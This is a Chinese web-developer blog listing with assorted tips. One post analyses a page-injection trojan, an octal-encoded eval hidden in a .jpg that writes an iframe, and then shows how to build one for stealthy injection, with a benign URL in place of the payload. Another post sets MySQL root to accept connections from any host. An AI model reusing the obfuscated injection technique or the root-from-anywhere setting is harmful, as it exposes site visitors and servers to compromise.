博客 (209)

设置方法:在“编辑”菜单上指向“大纲显示”,然后单击“启动自动大纲显示”。

xoyozo 13 年前
6,932
HTTP 错误 404.0 - Not Found
您要找的资源已被删除、已更名或暂时不可用


详细错误信息
模块 IIS Web Core
通知 MapRequestHandler
处理程序 StaticFile
错误代码 0x80070002


解决方法:
打开 Web.config 文件,
往 <configuration> 节点的 <system.webServer> 节点添加节点:
<modules runAllManagedModulesForAllRequests="true" />
14,207
探索

今天访问某 asp 网站时发现不对劲,一看源文件原来网页被挂马了,仔细查看源代码发现:

<script>document.write("<scri");</script>pt src="images/banner.jpg"></script>

这段代码调用了 banner.jpg 这个 js 文件。用记事本打开这个文件发现以下内容:(木马内容已替换成安全内容)

eval("\144\157\143\165\155\145\156\164\56\167\162\151\164\145\50\47\74\151\146\162\141\155\145\40\163\162\143\75\150\164\164\160\72\57\57\170\157\171\157\172\157\56\155\145\76\74\57\151\146\162\141\155\145\76\47\51")

代码非常整齐,立刻怀疑是 ascii 码的八进制代码。于是解码之,就看到了:(木马内容已替换成安全内容)

document.write('<iframe src=https://xoyozo.net></iframe>')

至此,整个流程已非常清晰了。

JS 相关函数

八进制转化为十进制

var a = '144';
alert(parseInt(a, 8));  // 输出为 100

十进制转化为八进制

var a = 100;
alert(a.toString(8)); // 输出为 144

ASCII 码转化为字符

var a = 100;
alert(String.fromCharCode(a));  // 输出为 d

字符转化为 ASCII 码

var a = "d";
alert(a.charCodeAt(a));  // 输出为 100

如果用 alert 直接输出编码后的代码,看到的却是原码,下面提供HTML编码和解码:

function HTMLEncode(input) {
  var converter = document.createElement("DIV");
  converter.innerText = input;
  var output = converter.innerHTML;
  converter = null;
  return output;
}

function HTMLDecode(input) {
  var converter = document.createElement("DIV");
  converter.innerHTML = input;
  var output = converter.innerText;
  converter = null;
  return output;
}

您可以比较一下区别:

var a = "document.write('<iframe src=https://xoyozo.net></iframe>')";
document.write(a);
var a = "document.write('<iframe src=https://xoyozo.net></iframe>')";
document.write(HTMLEncode(a));
为我所用

现在完全可以实现宿主页面执行嵌套 iframe 的效果了。如果需要更隐蔽,可以给 <iframe/> 加上尺寸属性。下面一起来制作一个简单的木马:把

document.write('<iframe src=https://xoyozo.net></iframe>')

编码为

\144\157\143\165\155\145\156\164\56\167\162\151\164\145\50\47\74\151\146\162\141\155\145\40\163\162\143\75\150\164\164\160\72\57\57\170\157\171\157\172\157\56\155\145\76\74\57\151\146\162\141\155\145\76\47\51

的代码为

var a = "document.write('<iframe src=https://xoyozo.net></iframe>')";
var b = "";
for (var i = 0; i < a.length; i++) {
  b += "\\" + a.charCodeAt(i).toString(8);
}
document.write(HTMLEncode(b));

然后加上 eval() 方法,保存为 .jpg 文件,再通过文章开始介绍的方法调用就行了。

xoyozo 16 年前
6,494

我们经常需要使用拼音首字母来检索数据库,特别是应用于医院、商店等行业软件中。譬如搜索“zgr”就可以搜索所有包含“中国人”的记录。那么如果来实现才能即高效又方便呢?

方法一:先查询出所有记录,然后在逻辑层转化为拼音首字母后查询,显然傻瓜才会这么做。

方法二:在需要搜索的表中添加一个字段用于存放被检索字段内容对应的拼音,在搜索的时候同时去查询这两个字段,这种方法可行,但会增加数据库存放的大小。

方法三:在数据库中建立一个标量值函数,在执行查询语句时通过此函数来转化搜索,函数如下:

SET ANSI_NULLS ON
GO
SET QUOTED_IDENTIFIER ON
GO
-- =============================================
-- Author:		xoyozo
-- Create date: 2010-4-17
-- Description:	提供中文首字母
-- =============================================
CREATE FUNCTION fun_getPY
(
	@str NVARCHAR(4000)
)
RETURNS NVARCHAR(4000)
AS
BEGIN
	DECLARE @word NCHAR(1),@PY NVARCHAR(4000)
	SET @PY=''
	WHILE len(@str)>0
	BEGIN
		SET @word=left(@str,1)
		SET @PY=@PY+(CASE WHEN unicode(@word) BETWEEN 19968 AND 19968+20901
		THEN (SELECT TOP 1 PY FROM (
		SELECT 'A' AS PY,N'驁' AS word
		UNION ALL SELECT 'B',N'簿'
		UNION ALL SELECT 'C',N'錯'
		UNION ALL SELECT 'D',N'鵽'
		UNION ALL SELECT 'E',N'樲'
		UNION ALL SELECT 'F',N'鰒'
		UNION ALL SELECT 'G',N'腂'
		UNION ALL SELECT 'H',N'夻'
		UNION ALL SELECT 'J',N'攈'
		UNION ALL SELECT 'K',N'穒'
		UNION ALL SELECT 'L',N'鱳'
		UNION ALL SELECT 'M',N'旀'
		UNION ALL SELECT 'N',N'桛'
		UNION ALL SELECT 'O',N'漚'
		UNION ALL SELECT 'P',N'曝'
		UNION ALL SELECT 'Q',N'囕'
		UNION ALL SELECT 'R',N'鶸'
		UNION ALL SELECT 'S',N'蜶'
		UNION ALL SELECT 'T',N'籜'
		UNION ALL SELECT 'W',N'鶩'
		UNION ALL SELECT 'X',N'鑂'
		UNION ALL SELECT 'Y',N'韻'
		UNION ALL SELECT 'Z',N'咗'
		) T 
		WHERE word>=@word COLLATE Chinese_PRC_CS_AS_KS_WS 
		ORDER BY PY ASC) ELSE @word END)
		SET @str=right(@str,len(@str)-1)
	END
	RETURN @PY
END

使用方法:

select * from 表 where fun_getPY(字段) like N'%zgr%'

此方法是最快捷方便的,通过测试在文章表中搜索标题首字母,其耗时大约为不使用此函数搜索的 3 倍,相信部署在小数据量的项目中的成本是非常低的。

LINQ 方式操作

初学 LINQ 的朋友或许对 .dbml 文件不是很熟悉,数据库中的表可以直接拖动到 .dbml 的左侧,而存储过程、函数等可以直接拖到其右侧,然后就可以直接在逻辑使用了,下面是例子:

DataClassesXDataContext db = new DataClassesXDataContext();
var q = from d in db.Documents
	where d.Title.Contains("zgr") || db.fun_getPY(d.Title).Contains("zgr")
	select d;
9,597
今天在用远程连接Mysql服务器的数据库,不管怎么弄都是连接不到,错误代码是1130,ERROR 1130: Host 192.168.2.159 is not allowed to connect to this MySQL server
猜想是无法给远程连接的用户权限问题。结果这样子操作mysql库,即可解决。在本机登入mysql后,更改 “mysql” 数据库里的 “user” 表里的 “host” 项,从”localhost”改称'%'。。

mysql -u root -p
mysql>use mysql;
mysql>select 'host' from user where user='root';
mysql>update user set host = '%' where user ='root';
mysql>flush privileges;
mysql>select 'host' from user where user='root';
第一句是以权限用户root登录
第二句:选择mysql库
第三句:查看mysql库中的user表的host值(即可进行连接访问的主机/IP名称)
第四句:修改host值(以通配符%的内容增加主机/IP地址),当然也可以直接增加IP地址
第五句:刷新MySQL的系统权限相关表
第六句:再重新查看user表时,有修改。。
重起mysql服务即可完成。
7,177

症状:因为安全原因,文件不可浏览。请联系系统管理员并检查CKFinder配置文件。

解决:搜索方法: CheckAuthentication()  仔细看注释部分即可解决问题。

xoyozo 16 年前
6,606

一、添加引用 using System.Web.SessionState;

二、实现接口 public class Handler : IHttpHandler, IRequiresSessionState { }

三、使用方法 HttpContext.Current.Session["xxx"] = value;

xoyozo 16 年前
6,324

调用返回 ArrayList 类型的 Web Service 的方法,可以使用如下代码获取数据集:
ArrayList al = new ArrayList(mallbll.MallsSearch());

xoyozo 16 年前
5,030

做网页的朋友应该都知道常用的几个HTML转义符,如“&nbsp;”表示空格,“&gt;”表示“>”等,但是有时候我们为了网页的文字不被搜索引擎收录,比如评论信息,这时可以用同样的方法去转义汉字等各种字符,一般格式为 "&#"+ASCII+";",如“中华人民共和国”可以转义为“&#20013;&#21326;&#20154;&#27665;&#20849;&#21644;&#22269;”。

在C#中可以这样来实现:

private string htmlEscape(string s)
{
    StringBuilder sb = new StringBuilder();
    foreach (char c in s)
    {
        sb.Append("&#" + (int)c + ";");
    }
    return sb.ToString();
}
xoyozo 16 年前
6,911

今年早些时候,我通过blog介绍了 C# 和 VB 语言的一项新的扩充特性"扩展方法"。

扩展方法让开发者可以向已有的 CLR 类型的公共契约中添加新的方法,而不需要子类化或重新编译原有的类型。通过这种做法,可以使很多有用的应用场景成为可能(包括 LINQ)。同时,扩展方法也可以用来非常方便地向代码中添加"语法糖"。

过去几个月,我一直在准备一些很酷的扩展方法的清单,并计划在有空的时候实现它们(不确定何时...但至少我还能从这些想法中获得乐趣)。在上述清单中有两个扩展方法的应用场景,分别是用于为任意 .NET 对象自动生成JSON (JavaScript Object Notation)或 XML 序列化字符串的。

简单场景:ToJSON() 扩展方法

假设我有一个 Person 类定义如下(注意:我使用了 自动属性的新特性来实现):

接下来,我就可以初始化一系列 Person 对象的集合,然后只需调用 ToJSON() 扩展方法,就能得到表示该集合内容的 JSON 字符串。如下所示:

这和 .NET 中内建的,Object 类的 ToString() 方法调用方式很相似 —— 只是生成的结果是表示集合内容的 JSON 格式的字符串而已。然后我们就可以在 AJAX 场景的客户端使用它:

注意:点击上图中调试器的放大镜图标,可以打开"文本视图(Text Visualizer)",能更方便的查看 JSON 序列化字符串:

接下来,这个字符串格式在客户端可以用 JavaScript 来实例化为合适的 JavaScript 对象,用于表示我的集合内容(注: ASP.NET AJAX 有一个内建的 JavaScript 库支持这些特性)。

实现 ToJSON 扩展方法

实现一个基本的 ToJSON() 扩展方法很简单。只要使用 System.Web.Script.Serialization 命名空间下的 JavaScriptSerializer 类即可,然后象下面所示的那样定义两个扩展方法。其中一个方法用于对目标对象图(object graph)进行"深"的序列化,而另一个方法则是一个重载的版本,它允许你指定序列化的深度(比如:ToJSON(2) 只序列化 2 个层次的深度)。

注意,上面的 ToJSON() 扩展方法只是针对 "Object" 类型而定义的——这意味着它可以被用于 .NET 中的任何类型(不限于集合)。也就是说,我们不仅能对上述集合调用 .ToJSON() 方法,还可以对单独的 Person 对象调用 ToJSON() 方法,或者任意其他的 .NET 类型都可以。

要使用上述扩展方法,只需在程序的顶部添加如下命名空间的引用即可:

然后 VS 2008 就可以为任意对象提供针对这些扩展方法的代码自动完成和编译时支持功能:

注意:除了 JavaScriptSerializer 类之外,.NET 3.5 还包含一个新的new System.Runtime.Serialization.DataContractJsonSerializer class 类 ,你也可以用它来做 JSON 序列化/反序列化的工作。

小结

希望以上的例子能给你一个使用扩展方法来封装功能的示例。下次希望我们一起来看一些好的工具库,用于提供类似有用的扩展方法的功能。

我非常想看到其他关于可复用的扩展方法使用场景的建议(请通过这篇帖子的评论来建议)。然后我们可以琢磨出,如何创建一个好的 CodePlex 项目,来把这些方法捆绑到一个库中以便利用。

希望这篇帖子对你有用,

Scott

4,325